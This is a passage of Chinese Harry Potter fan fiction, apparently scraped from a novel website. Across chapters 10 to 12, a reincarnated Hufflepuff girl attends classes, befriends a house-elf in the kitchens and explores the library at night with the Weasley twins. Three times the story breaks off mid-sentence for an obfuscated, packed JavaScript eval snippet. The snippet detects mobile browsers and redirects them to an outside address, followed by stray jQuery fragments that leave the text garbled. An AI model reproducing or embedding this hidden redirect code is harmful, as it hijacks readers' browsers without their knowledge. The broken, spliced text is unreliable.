右。风拂过她的面颊,吹动她枯黄的头发。脚下的青草、远处的城堡都变得渺小。一种失重的、自由的感觉瞬间攫住了她。虽然速度慢得像蜗牛爬,但这种凭借自身(魔力)摆脱大地束缚、在空气中漂浮的感觉,让她前世坐飞机时都未曾体会到的兴奋感油然而生。她小心翼翼地控制着方向,在霍琦夫人划定的低矮区域内缓慢地盘旋,脸上露出了孩子气的笑容。
周五下午踏入位于城堡地牢的魔药课教室时,所有的轻松愉快瞬间冻结。这里阴冷潮湿,光线昏暗,只有靠墙架子上泡着各种诡异标本的玻璃罐反射着幽幽的绿光。空气中弥漫着一股浓郁的、混合着草药、硫磺和某种难以形容的、类似陈年腌菜和化学试剂的味道。
斯内普教授像一只巨大的蝙蝠,悄无声息地滑行在课桌间的过道里。他那漆黑的长袍下摆翻滚着,蜡黄的面容紧绷,薄嘴唇紧抿,目光锐利如手术刀,仿佛能轻易切开任何学生试图隐藏的愚蠢或懈怠。
“You are here to learn the subtle science and exact art of potion-making.你们是来学习制作魔药的精妙科学和艺术” 他的声音低沉、丝滑,却带着一种渗入骨髓的寒意,在安静得能听到坩埚里气泡破裂声的地下教室里回荡。“I expect… precision. I expect… obedience. I do not expect… abject ipetence.我期待准确,期待服从,我不期待无能” 他的目光有意无意地扫过教室后排,带着毫不掩饰的轻蔑。
索菲亚感觉自己的后背瞬间绷紧,手心冒汗。她小心翼翼地按照黑板上的配方和步骤,称量干荨麻粉末。面前那架黄铜天平看起来有些年头了,指针的摆动总带着点犹豫不决的粘滞感。她屏住呼吸,用小银匙极其缓慢地添加粉末,眼睛死死盯着那微颤的指针。加了三次,指针才勉强停在那个小小的刻度线上。她额角的汗珠都快滴下来了。
“精确…精确…” 她心里默念,无比怀念前世奶奶家那个油光发亮的枣木秤杆和几个重量不同的黑黝黝的铁秤砣。那玩意儿虽然原始,但称量起药材、谷物来,有种令人安心的、实实在在的“准头”。哪像这魔法天平,灵敏得让人心慌,又带着点说不清道不明的迟钝。或者,有现代的厨房称就好了,精确到毫克,还熬制不出标准魔药?
她强迫自己忽略斯内普教授带来的巨大压力,像执行精密仪器操作手册一样,严格按照他指示的步骤,一丝不苟地处理材料、控制火候、搅拌坩埚里冒着泡的液体。动作略显僵硬,但每一步都力求不出差错。当一堂课结束,斯内普教授如同幽灵般飘到她桌前,用修长的手指捻起一点她坩埚里熬制的、颜色还算标准的疥疮药水成品,凑到他那高耸的鼻子前闻了闻时,索菲亚感觉自己的心脏都快停止跳动了。
斯内普教授没有发表任何评论,只是用他那双深不可测的黑眼睛瞥了她一眼,那眼神复杂难辨,似乎有一丝极淡的惊讶,随即又恢复了惯常的冷漠。他放下药水,黑袍翻滚着滑向下一个目标。
索菲亚这才敢长长地、无声地吐出一口气。过关了!无功无过,虽然过程如履薄冰,但好歹熬出来的东西没炸坩埚,颜色气味似乎也达标了。紧绷的肩膀瞬间垮了下来,她才发现自己后背的校袍内衬都湿透了。
黑魔法防御术,这门在霍格沃茨笼罩着奇特阴影的必修课,被安排在周二下午。关于它“被诅咒了,每年都会换老师”的流言,索菲亚在开学初就听高年级学生带着点戏谑和无奈提起过。
10. 第 10 章
今年的黑魔法防御课老师是卡斯伯特·布莱克索恩教授(Professor Cuthbert Blackthorne)。
布莱克索恩教授看起来五十岁左右,身形瘦高,背脊挺得笔直,仿佛一根历经风霜却不肯弯曲的老橡木。他的头发是铁灰色,修剪得极短,紧贴着头皮。面容严肃,甚至有些冷峻,深刻的法令纹从鼻翼两侧延伸至紧抿的嘴角。最引人注目的是他那双眼睛,颜色是极浅的灰蓝色,像冬日结冰的湖面,锐利、冷静,仿佛能洞穿一切伪装,带着一种长期观察危险事物而形成的审视感。
他像一位离群索居、埋首故纸堆的学者。传闻他常年游历世界各地,研究黑魔法遗迹和黑暗生物习性,著有几本在学术圈小有名气(但大众鲜少听闻)的专著,如《阴影中的低语:全球黑魔法崇拜源流考》和《非典型黑暗生物行为模式观察》。
教室位于城堡二楼,光线尚可,但空气似乎总比其他教室更沉滞阴冷一些。布莱克索恩教授似乎刻意保留了这种氛围,甚至还在墙角放置了几个散发着微弱寒气、刻满古老符文的石瓮(据说是某种防护或净化装置,但效果存疑)。墙壁上挂着的不是英雄史诗挂毯,而是一些泛黄的、描绘着古老黑魔法仪式场景或狰狞黑暗生物解剖图的羊皮纸复制品,氛围肃杀。
“Sit.” 布莱克索恩教授的声音不高,甚至有些沙哑,却像冰冷的金属摩擦,瞬间压下了教室里所有新生的窃窃私语。他没有多余的寒暄,灰蓝色的眼睛扫过全班,带着一种评估的意味。“This year, you will not learn to duel. You will learn to see. To see the rot beneath the gilding, the teeth behind the smile. Ignorance is the Dark’s greatest ally.”(“坐。” 布莱克索恩教授的声音不高,甚至有些沙哑,却像冰冷的金属摩擦,瞬间压下了教室里所有新生的窃窃私语。“今年,你们不会学到决斗。你们将学会看见。看见镀金之下的腐朽,微笑背后的利齿。无知,是黑暗最强大的盟友。”)
他的教学方式极其理论化,且带着一种近乎冷酷的、揭露疮疤的意味。他像一位经验丰富的解剖师,冷静地剖开魔法世界光鲜亮丽的表皮,展示其下盘根错节的黑暗脉络。
他讲解那些看似无害的古董(如被诅咒的挂坠盒、承载着恶灵的画框)如何通过翻倒巷(Knockturn Alley)甚至某些“体面”的拍卖行流入无知者手中(“A child’s music box from the 17th century? Verify the provenance. Unusual coldness or persistent nightmares are red flags.” - “一个17世纪的儿童音乐盒?核实来源。异常的冰冷或持续的噩梦是危险信号。”)。
他揭露了迷情剂(Love Potions)、复方汤剂(Polyjuice Potion)原料、甚至更危险的魔药在黑市的地下交易链条,以及它们如何被用于控制、勒索和伪装(“Polyjuice is not merely for pranks. It enables impersonation, espionage, and the perfect alibi for murder.” - “复方汤剂不仅仅用于恶作剧。它能实现冒充、间谍活动,以及完美的谋杀不在场证明。”)。
对于任何涉及攻击、强力防御或精神影响的咒语,布莱克索恩教授的态度冰冷并带着不容置疑:“Waving your wand without understanding is like handing a loaded wand to a Cornish Pixie. It will backfire. Spectacularly. And likely fatally. Focus. Observe. Learn. Your mind is the first and best defense. Let theory be your armor until your control is ed in fire... later.”(“在不理解的情况下挥舞魔杖,如同将一把上膛的魔杖交给康沃尔郡小精灵。它必将反噬。极其壮观。且很可能致命。专注。观察。学习。你的头脑是首
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928780|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要也是最佳的防御。让理论成为你的盔甲,直到你的控制力在烈火中锤炼成型……那是以后的事。”)
他反复强调一年级新生魔力如同易燃易爆的不稳定化合物,任何涉及“对抗性”魔法的实践都等同于玩火自焚。他讲述的几个因学生盲目练习防御咒语导致魔力反噬、永久伤残甚至死亡的案例(细节更加血腥和触目惊心,仿佛他亲眼所见),让整个教室的温度都下降了几度。任何关于“什么时候能实践”的试探性问题,都被他那冰锥般的目光和一句“When you can explain the thaumaturgical resonance of the shield matrix without stuttering.”(“当你能毫不结巴地解释护盾矩阵的魔法共振原理时。”)给冻了回去。
有时能看到斯内普教授隐藏在教室的角落,听课,似乎在评估这位布莱克索恩教授够不够格当黑魔法防御课的教授。(他还是那么爱这门课,不过要是邓不利多同意他教,会不会也受到诅咒的影响只能当一年?老邓头还得去重新找魔药课老师,这个画面简直不敢想,捂脸苦笑。)
对于索菲亚来说,这门课如同一场冰冷而必要的洗礼。布莱克索恩教授像一位无情的向导,强行将她的目光从霍格沃茨的温暖壁炉旁拉开,投向城堡外、乃至整个魔法世界黑暗幽暗的角落。那些阴暗的知识沉重得让人喘不过气,却又像一剂苦口的良药,让她彻底抛弃了任何天真的幻想。
她依旧保持着“卷王”本色,将布莱克索恩教授展示的每一个案例细节、分析的每一条黑暗生物特性、拆解的每一个防御咒语的理论核心(魔力频率、场域结构、能量消耗模型)都记录得无比详尽,分类整理,反复研读记忆。她知道,这些东西,非常重要。它们关乎生存。懂得这些黑魔法防御的理念,再加上之后可能会有的实践课(毕竟他们不可能永远一年级,永远不拿起魔杖参与实践),对后面伏地魔复活掀起的大战会有非常大的帮助。她珍惜上这位布莱克索恩教授的课,毕竟也只有一年。
霍格沃茨的秋季学期,就在这八门功课轮番上阵的节奏中,如同城堡外黑湖的湖水般,看似平静却深流涌动地向前推进。索菲亚的生活被严格地切割成几大块:上课、写作业、图书馆、厨房觅食、找海格撸牙牙、睡觉。
11. 第 11 章
赫奇帕奇公共休息室的氛围无疑是温馨舒适的。暖黄色的木质墙壁,舒适的沙发,角落里生机勃勃的蕨类植物,低矮的圆窗外是城堡地基外蔓延的草地。獾院的同学们大多友好随和,但学习氛围……确实称不上浓厚。公共休息室里更常见的是分享零食和八卦各个学院的低语、交换魁地奇卡片的嬉笑、或者干脆在壁炉边蜷缩着打盹的身影。
索菲亚成了这里的异类。当室友海伦热情地分享她妈妈寄来的、来自霍格莫德“蜂蜜公爵”的新口味软糖(“Sophia! Try this! Mum says it’s the new ‘Fizzing Whizzbee’ flavour!”),或者米莉森特和苏珊讨论着周末去厨房找小精灵要点心时,索菲亚常常只是匆匆塞一颗糖表示谢意(“Thanks, Helen!”),然后便抱着厚厚一摞书,坚定地走向城堡图书馆的橡木大门,或者干脆就缩在休息室光线最好的那个靠窗角落学习。
在獾院,学习氛围是很轻松的,不像拉文克劳。她的“卷王”之名不胫而走。那盏小小的、由魔法驱动的便携式阅读灯,常常在休息室熄灯后很久,还在她摊开的书本上投下一圈执着的光晕。笔记做得密密麻麻,像精密的地图,将魔咒手势分解、将魔法史时间线串联、将魔药配方拆解成分子式般的步骤。她如饥似渴地吸收着这个陌生世界的一切知识,仿佛一块干涸了太久的海绵。
偶尔,她也会遇到同道中人。塞德里克·迪戈里,这位与她同级的赫奇帕奇新生,虽然才入学两个月,但那份沉稳、专注和与生俱来的优秀气质已经显露无疑。他也常常在休息室温习功课,或者在晚餐后抱着一本《初级变形术精要》阅读。他看到索菲亚摊开在桌上的、用极其工整的字体写满复杂推导过程的变形术笔记(其中夹杂着她试图用前世物理力学理解变形本质的草图,结果根本理解不了,物理学不存在了,瘫),会投来好奇和欣赏的目光。
“Interesting notation, Sophia,” 塞德里克有一次指着笔记边缘一个类似微积分求导符号的标记,温和地开口,带着一丝探究,“Is that… some kind of Muggle mathematics? Looks ratherplex for Transfiguration theory.”(“有趣的符号,索菲亚,”塞德里克有一次指着笔记边缘一个类似微积分求导符号的标记,温和地开口,带着一丝探究,“那是……某种麻瓜的数学吗?看起来比变形术理论还要复杂。”)
索菲亚吓了一跳,赶紧用袖子盖住那个符号,脸微微发红:“Uh… just some doodles. Trying to make sense of the… the energy flow.”(“呃……只是些涂鸦。试着理解……能量流动。”)她含糊地解释。塞德里克笑了笑,没有追问,只是鼓励地点点头:“Keep it up. Focus is key.”(“继续努力。专注是关键。”)便低头继续看自己的书了。这短暂的交流让索菲亚更加确信,卷,没有错!而且,有个同样努力的同伴(即使是安静的同伴)在附近,感觉也不赖。
当然,支撑她高强度“内卷”的最大后勤保障,近在咫尺——赫奇帕奇休息室入口旁那条不起眼的走廊尽头,就是霍格沃茨厨房的入口!这个秘密据点,简直是为索菲亚量身定制的天堂。
索菲亚很快就摸清了进入这个天堂的方法。在级长带领新生熟悉环境后不久,她就注意到了走廊墙壁上那幅巨大的水果碗画像。画中的水果堆得像小山一样,鲜翠欲滴,尤其是中间那个格外饱满、水灵灵的碧绿色梨子。她伸出食指,在那颗梨子光滑冰凉的表面,轻轻地挠几下。
“咯咯咯…” 一阵轻微而欢快的笑声从画像里传了出来,在寂静的走廊里显得有点诡异。索菲亚惊奇地看着那颗梨子在她的指尖下扭动起来,仿佛怕痒似的,它的形状迅速变化、拉长,几秒钟后,就变成了一个闪着黄铜光泽的、圆溜溜的绿色门把手!
她伸手握住那冰凉的门把手,用力一拉!
眼前的景象豁然开朗。画像像一扇真正的门一样向里打开,露出了一条向下延伸的、铺着温暖石板的短通道。一股浓郁得化不开的食物香气——烤面包的焦香、炖肉的醇厚、新鲜水果的酸甜以及各种香料的奇异芬芳——如同温暖的浪潮般扑面而来,瞬间包裹了她。
她顺着通道走下去,眼前骤然开阔。
霍格沃茨的厨房!因为入口隐蔽,来的学生非常少,一般来说,只有赫奇帕奇的学生知道进入的方法。
这里的面积几乎与楼上的大礼堂一模一样!高耸的石砌穹顶下,四张与学院餐桌位置完全对应的巨大长桌整齐排列,只是此刻上面堆满了小山般的食材、半成品和闪闪发光的餐具,而非用餐的学生。家养小精灵们显然就是通过这些长桌,用魔法将准备好的食物直接传送到楼上礼堂的对应位置。
厨房的景象只能用“壮观”和“神奇”来形容。数以百计(索菲亚目测绝对超过一百)的家养小精灵穿着印有霍格沃茨纹章的整洁茶巾,像一群上了发条、却又充满生命力的精密机器,在巨大的空间里高速穿梭、忙碌着。这里简直就是一场魔法烹饪的交响乐现场!
巨大的壁炉里跳跃着不同颜色的魔法火焰——金色的火焰舔舐着各种烤肉,蓝色的火焰慢炖着浓汤,红色的火焰在平底锅下欢快地舞蹈。火焰的大小和温度似乎完全由小精灵使用厨房魔法精确控制。
锅碗瓢盆在空中自行飞舞!切菜刀像被无形的手操纵着,在案板上化作一片银色的光幕,将蔬菜切成均匀的细丝;巨大的汤勺在比浴缸还大的坩埚里自行搅拌;成打的餐盘排着队,在魔法水流下自动冲洗,然后被热风瞬间烘干,摞得整整齐齐。中华小当家动画里的景象在眼前成真了。
土豆像被施了清洁咒,泥垢自动剥落,飞入清水中;水果自动去皮去核,精准地落入果盘;面粉袋飘在空中,细密的面粉如同金色的瀑布倾泻而下,与自动打发的黄油和鸡蛋液在巨大的搅拌盆里完美融合。
小精灵使用厨房魔法忙碌着,他们尖细的声音此起彼伏,像一群兴奋的麻雀:
“注意火候!约克郡布丁要金黄酥脆!”
“南瓜汁要加热!已经凉了!”
“第7号桌的烤肋排需要刷第二遍蜂蜜酱了!”
“清理案板!快!下一批面团要来了!”
小精灵们的大耳朵激动地扇动着,网球般的大眼睛里闪烁着纯粹的、服务他人的快乐光芒。他们配合默契,动作快得几乎看不清,整个厨房充满了锅碗瓢盆碰撞的叮当声、火焰燃烧的呼呼声、水流冲刷的哗哗声以及小精灵们兴奋的指挥声,汇合成一曲充满活力与魔力的厨房交响乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928781|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
索菲亚站在入口处,看得目瞪口呆,仿佛置身于一个庞大而奇异的魔法工厂。食物的香气和眼前这热火朝天、井然有序的魔法劳作场景,让她感到一种奇异的温暖和归属感。这里没有冰冷的理论,没有复杂的咒语拆解,只有最直接、最温暖的魔法——创造美味的魔法。果然选赫奇帕奇是对的!赫尔加流传至今的菜谱仍然是霍格沃茨宴会的核心。
嘿嘿,如果能学会,岂不是干家务,做饭,方便了许多,真不愧是魔法世界呀~(电影神奇动物里有展示厨房魔法,非常好看又好吃,一下就俘获了Jacab的心,哈哈)
她很快就成了这里的常客。小精灵们对这个瘦小的、总是带着好奇和尊重目光的赫奇帕奇新生非常友善。
“Sophia小姐!欢迎您!刚出炉的苹果派要来一块吗?还是热乎乎的肉汁土豆泥?” 小精灵们热情地招呼着。
索菲亚很快就和其中一位显得年纪稍大、眼神格外温和的女家养小精灵熟悉起来。她名叫拉丝汀(Rustine)。拉丝汀不像其他小精灵那样过于激动,她显得更沉稳慈祥,动作也带着一种长者的从容。她敏锐地注意到了索菲亚明显的东方口味,喜欢吃炒菜,米饭,饺子,烤五花肉。
“好孩子,要长高!要长壮!” 拉丝汀总是用她那尖细却无比温柔的声音絮叨着,网球大的眼睛里满是关切。每当索菲亚在晚餐后或者学习间隙溜进厨房,拉丝汀总会变魔术般地从某个保温的魔法罩子下,或者从巨大的烤炉旁一个不起眼的温暖角落里,端出一个小碟子。
碟子里有时是洗得干干净净、鲜红欲滴、还挂着水珠的饱满草莓(“Strawberries are rare and very delicious!”);有时则是几片烤得恰到好处、边缘微焦卷起、滋滋冒着油花、散发着诱人焦香和油脂气息的五花肉片(“Good fat! For strong bones and warm body!” “好的油脂!让骨头结实身体暖和!”)。在英国,这种肥瘦相间、油脂丰厚的五花肉远不如牛排或肋排常见,但对索菲亚来说,这熟悉的油脂香气和扎实的口感,是任何魔法牛排都无法比拟的慰藉,带着一种前世记忆深处的踏实感和拉丝汀给予的、如同祖母般的温暖。偶尔吃到西班牙海鲜炒饭,米却是夹生的,只好让Rustine再给自己加工一下,让米饭完全熟透。
“Here, dearie. Special saved for you.”(“喏,亲爱的。特意给你留的。”)拉丝汀将碟子推到索菲亚面前,看着她小口小口地吃着,比自己吃了还满足。
“Thank you, Rustine. It’s wonderful.”(“谢谢你,拉丝汀。太棒了。”)索菲亚每次都会认真地、带着真诚的感激对她说。索菲亚想不到怎么表示自己的感激之情,听说小精灵们天性喜欢打扫,就试探着送了一些干净的抹布和在魔药课学习制作的提神剂给Rustine。看到Rustine激动和开心的样子,索菲亚也为自己有这样一位精灵朋友,感到高兴。
每次来厨房吃饱喝足就完全理解,巫师们为啥奴役家养小精灵了,简直是居家旅行必备的家养小精灵呀,做饭,打扫卫生,样样拿手,忠诚无比,还会特殊的精灵魔法,怪不得原著中赫敏推动小精灵解放受到阻碍,威胁到太多巫师的利益了。
12. 第 12 章
第十二章
生活在井然有序地继续着,时间飞快地来到了万圣节前两天。
霍格沃茨的深秋夜晚,空气清冽得如同浸透了黑湖的水。城堡巨大的石墙在月光下投下深邃的阴影,走廊里只剩下壁灯摇曳的微弱光芒和远处画像里传来的细微鼾声。赫奇帕奇公共休息室那温暖的蜂蜜色光辉早已熄灭,低矮的圆窗外是沉寂的夜色。
索菲亚蜷缩在休息室最角落那张靠窗的沙发里,厚重的《魔法理论溯源》摊在膝盖上,旁边放着一盏用魔法驱动的便携小灯,光线只够照亮书页。她强迫自己又啃完一段关于古代如尼文魔力导引的晦涩论述,才轻轻合上书。四周一片寂静,只有角落里一盆蕨类植物在魔法营造的微风中叶片轻拂的沙沙声,以及远处某个男生宿舍传来的轻微鼾声。
她站起身,活动了一下有些僵硬的脖颈。一股难以言喻的躁动在她小小的身体里盘旋。白天在魔法史课上,宾斯教授那枯燥的声音里偶然提到的“霍格沃茨创始人秘道”,还有在图书馆浩瀚书海中瞥见的关于“会自行移动的书架迷宫”的只言片语,都像小钩子一样挠着她的心。厄里斯魔镜?那个据说能照见内心最深处渴望的神奇镜子,真的就随随便便放在某个废弃教室里?禁林边缘那些在月光下会发光的蘑菇又是什么品种?还有会说中的有求必应屋,自己怎么才能找到呢?
“当个好学生…但偶尔也想看看课本之外的世界啊,霍格沃茨还有很多秘密需要探索呢。”她无声地对自己说,前世林曼曼看电影都是囫囵吞枣,很多故事情节都记不太清了,彻底地探索一下学校应该对自己回想剧情更有帮助吧。赫奇帕奇踏实忠诚,也很忠诚于自己的想法嘛,今晚就出发吧,浅浅探索一下,只要不被洛丽丝夫人发现就行啦~
她只将魔杖仔细地别在袖口的特制魔杖套里(确保不会意外掉落),轻手轻脚地像一只准备溜出洞穴的小獾,屏息凝神地爬出了通向厨房走廊的石槽门。冰冷的石头走廊空无一人,只有她自己的脚步声在空旷中发出轻微的回响。她深吸一口气,心脏在胸腔里兴奋又紧张地怦怦直跳,朝着与厨房相反的方向——通往主城堡更深处——迈出了“叛逆”的第一步。
索菲亚的目标是图书馆区域。她记得白天在某个书架角落看到一本《霍格沃茨未解之谜趣谈》,里面似乎提到了移动书架。夜晚的城堡走廊比白天显得更加幽深曲折,盔甲在阴影里像沉默的守卫,画像中的人物大多沉睡着。她靠着墙壁,小心翼翼地避开月光照亮的区域,感觉自己像个潜入敌营的小间谍。
就在她拐过一个堆放着几副中世纪盔甲的阴暗角落时,两个几乎融在阴影里的红脑袋猛地从一尊举着战斧的骑士雕像后面探了出来!
“梅林的臭袜子!瞧瞧这是谁?”
“一只深夜出来散步的…小獾獾?”
乔治和弗雷德·韦斯莱一左一右,脸上挂着如出一辙的、恶作剧得逞般的灿烂笑容,压低了声音说道。他们穿着深色的便服,衣服上还沾着点可疑的、像蜘蛛网一样的东西,手里各自拿着一个小小的、不断闪烁微弱绿光的金属装置。
索菲亚吓得差点叫出声,猛地捂住自己的嘴,心脏差点从喉咙里跳出来。“G-Ge? Fred?” 她惊魂未定,声音压得比蚊子还小,“你们…你们在这儿干什么?”
“干什么?” 弗雷德夸张地挑起眉毛,晃了晃手里的小装置,“当然是进行必要的‘夜间实地考察’!探索霍格沃茨的未知区域,顺便测试一下我们的小玩意儿!”
“比如,” 乔治也晃了晃他的装置,那绿光闪烁得更急促了,“‘费尔奇踪迹预测器’原型机一号!还在调试,主要靠感应洛丽丝夫人的猫毛和费尔奇身上那股…呃…独特的气息。”
“那你呢,我们勤奋的赫奇帕奇之星?” 弗雷德饶有兴致地打量着她,“别告诉我你是梦游到这儿来的?这路线可不通向厨房。”
索菲亚的脸微微发烫,在昏暗中看不真切,但那份被抓包的窘迫感很清晰。“我…我就是…想随便走走,” 她小声嘟囔,试图维持好学生的尊严,但在这两个洞察力惊人的双胞胎面前显然徒劳,“看看…城堡晚上是什么样。听说图书馆的书架…会自己动?”
乔治和弗雷德交换了一个兴奋的眼神。
“啊哈!” 乔治一拍巴掌,“我们嗅到了同类的气息!一只渴望探索的獾獾!”
“纯粹的学术好奇心?” 弗雷德假装严肃地摸着下巴,“还是…压抑已久的冒险因子终于爆发了?”
“不管是什么,” 乔治凑近一步,压低声音,带着诱惑的语气,“图书馆的活书架?那可是我们今晚的侦察目标之一!怎么样,小獾獾,要不要一起?人多力量大,而且我们有‘费尔奇防抓装置’!” 他得意地又晃了晃那个闪烁绿光的小玩意儿。
索菲亚被说中心事,又看了看双胞胎手里的“探测器”(虽然看起来不太靠谱),想到有这两个“经验丰富”的向导,安全系数似乎更高了。她抿了抿嘴,最后破罐子破摔般地点了点头,只要不被抓到扣分就好了:“…好!”
“太棒了!” 双胞胎异口同声,声音里充满了找到新玩伴的兴奋。
“欢迎加入‘月光探索者小队’,临时成员索菲亚·史密斯!” 弗雷德做了个夸张的邀请手势。
“今晚的特别行程——” 乔治压低声音,带着一种策划重大行动的兴奋,“第一站,传说中的图书馆‘活书架’迷宫!第二站…嗯,看情况,找个没去过的废弃教室或者走廊死角探探险!至于禁林…” 他看了看索菲亚紧张又期待的小脸,“鉴于新成员首次行动,且装备尚不稳定,暂缓!安全第一,对吧?”
索菲亚用力点头,提到禁林她心里还是有点发怵的,双胞胎的提议正合她意。一种奇妙的同盟感在三人之间建立起来。
于是,在寂静的霍格沃茨深夜走廊里,出现了这样一幅景象:两个高大的红发身影像经验丰富的斥候,灵活地在前方探路,时不时停下,竖起耳朵倾听,或者对着那个闪烁绿光的“探测器”皱眉研究。而一个瘦小的、穿着赫奇帕奇校袍的身影则紧紧跟在他们后面,努力放轻脚步,眼睛因为兴奋和紧张睁得溜圆。
他们避开了几处巡逻画像(双胞胎似乎对哪些画像晚上特别清醒了如指掌,一看就是作案老手),绕过了月光最明亮的庭院回廊。当终于抵达图书馆紧闭的橡木大门时,弗雷德从口袋里掏出一根细长的金属丝。
“看好了,史密斯小姐,” 他对着锁眼比划着,动作熟练得让人心惊,“有时候,麻瓜的小技巧比‘阿拉霍洞开’更低调有效…” 只听极其轻微的“咔哒”一声,厚重的门锁应声而开。
图书馆内部一片漆黑,高大的书架如同沉默的巨人矗立在黑暗中,空气中弥漫着陈年羊皮纸和魔法尘埃的味道。月光透过高高的拱形窗户洒下几道银辉,在地板上投下长长的影子。
“据说它们只在午夜后,管理员不在的时候才‘活’过来,” 乔治的声音在空旷中带着回音,显得格外神秘。他们蹑手蹑脚地深入书架丛林,四片寻觅。
隔了一会儿。
突然,一阵极其轻微的、仿佛生锈齿轮转动的“嘎吱”声从右侧传来。三人立刻屏住呼吸,紧贴在一个巨大的书架后面。只见不远处,一整排书架,如同拥有生命般,无声无息地、极其缓慢地向左滑动了几英尺,露出了后面另一排之前被遮挡的书架!整个过程流畅而诡异,没有发出大的声响,只有那细微的“嘎吱”声证明它们确实在移动。
索菲亚看得目瞪口呆,心脏狂跳不止。魔法!这才是真正的、动态的魔法!比课堂上把火柴变成针刺激多了!她甚至看到新露出的那排书架上,有几本厚重的、封面镶嵌着宝石的古书,在月光下闪烁着诱惑的光芒。他们没敢深入移动的书架群(天知道会不会被困在里面)。
“酷吧?” 弗雷德在她耳边用气声说,得意洋洋。
“看那些书!” 乔治的眼睛也亮了起来,指向第一个靠近他们的书架,有几本在月光下显得格外神秘的古籍,“镶宝石的封面…肯定不是《初级变形术指南》!说不定是失传的魔法,或者霍格沃茨的秘密!”
探索的兴奋和对知识的渴望瞬间压倒了谨慎。三人交换了一个眼神,在无声的默契中,像幽灵般迅速溜到了那排新出现的书架前。灰尘在月光的光束中飞舞。
索菲亚的目光被一本深蓝色皮质封面、镶嵌着银色星月图案的大部头吸引。书名是用一种扭曲的、仿佛在流动的古代如尼文书写的,她只勉强认出几个疑似与“星空”和“轨迹”相关的字符。她小心翼翼地伸出手指,想要触碰那冰冷的封面。
“等等!” 弗雷德低声提醒,他正试图打开另一本封面像是某种黑色鳞片、触感冰凉滑腻的书,但书脊处仿佛有看不见的锁链捆缚着,纹丝不动。“感觉有点…邪门。”
乔治则盯上了一本暗红色、封面中央镶嵌着一颗仿佛在缓缓转动的浑浊眼珠石的书。他咽了口唾沫,带着点恶作剧的兴奋,用魔杖尖轻轻点了一下那石头眼珠。
“嗡…” 那眼珠石猛地颤动了一下,浑浊的瞳孔似乎聚焦了一下!一股极其微弱、但令人极其不舒服的寒意顺着魔杖尖传来,乔治“嘶”地一声缩回手,魔杖差点掉地上。“梅林的胡子!这玩意儿是活的?还是诅咒?”
索菲亚没敢直接触碰那本星月之书,而是抽出自己的魔杖,屏息凝神,回忆着弗立维教授教导的“漂浮咒”原理,但目的不是让书飘起,而是试图用极其微弱的魔力去“翻动”书页。她集中意念,魔杖尖对着书页边缘轻轻一点:“Wingardium…” 咒语念得极轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928782|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,魔力输出控制到最小。
哗啦…
书页真的轻微翻动了一下!一股陈旧纸张混合着奇异草药(像是龙爪兰和月见草)的味道扑面而来。翻开的书页上布满了密密麻麻的、如同蛛网般复杂交错的银色线条和点阵图案,旁边标注着同样扭曲的古代如尼文注释。索菲亚只来得及瞥见几眼,那些线条仿佛在她注视下微微蠕动、变幻,看得她头晕目眩,完全无法理解其中的含义,只觉得其中蕴含着某种深邃而庞大的知识体系。
“这是什么?星图?魔法阵?” 索菲亚低声惊呼,既震撼又茫然。
“管它是什么!快看看有没有我们能看懂的咒语!” 弗雷德放弃了他那本打不开的鳞片书,凑过来看,同样被那复杂的图案弄得眼花缭乱,“梅林的臭袜子,这比斯内普的魔药配方还复杂!”
就在他们试图再多翻一页,或者找到一点能理解的文字时——
“嘀嘀嘀!嘀嘀嘀!” 乔治和弗雷德手中的两个“费尔奇踪迹预测器”突然同时发出极其刺耳、尖锐的蜂鸣声!绿光疯狂闪烁!
“糟糕!” “是费尔奇!还有洛丽丝夫人!” 双胞胎脸色剧变,异口同声地低吼。刚才对书籍的短暂沉迷让他们放松了警惕!
几乎同时,一阵刺耳的、令人毛骨悚然的猫叫声从图书馆入口的方向炸响!紧接着,是费尔奇那嘶哑、充满恶意的咆哮,伴随着钥匙串猛烈摇晃的哗啦声,带着一种发现猎物的狂喜:
“谁?!谁在里面?!我听到动静了!出来!该死的贼!敢动图书馆的书?!”
“逮到你们了!该死的小崽子们!我就知道!洛丽丝夫人,上!”
沉重的脚步声和猫爪快速奔跑的声音急速逼近!
三人大惊失色!
“跑!” 乔治和弗雷德反应极快,一人一边抓住索菲亚的胳膊。
“这边!” 弗雷德凭着对地形的熟悉,猛地推开旁边一扇伪装成墙壁的、不起眼的暗门(里面似乎是个存放清洁用品的狭窄壁橱)。
三人一齐挤了进去,弗雷德迅速关上暗门。狭小的空间里瞬间充满了灰尘味和他们急促的喘息。
门外,费尔奇的咆哮和洛丽丝夫人抓挠门板的声音清晰可闻。
“出来!我知道你们躲在里面!该死的格兰芬多!” 费尔奇似乎知道是哪些学生不遵守规矩。
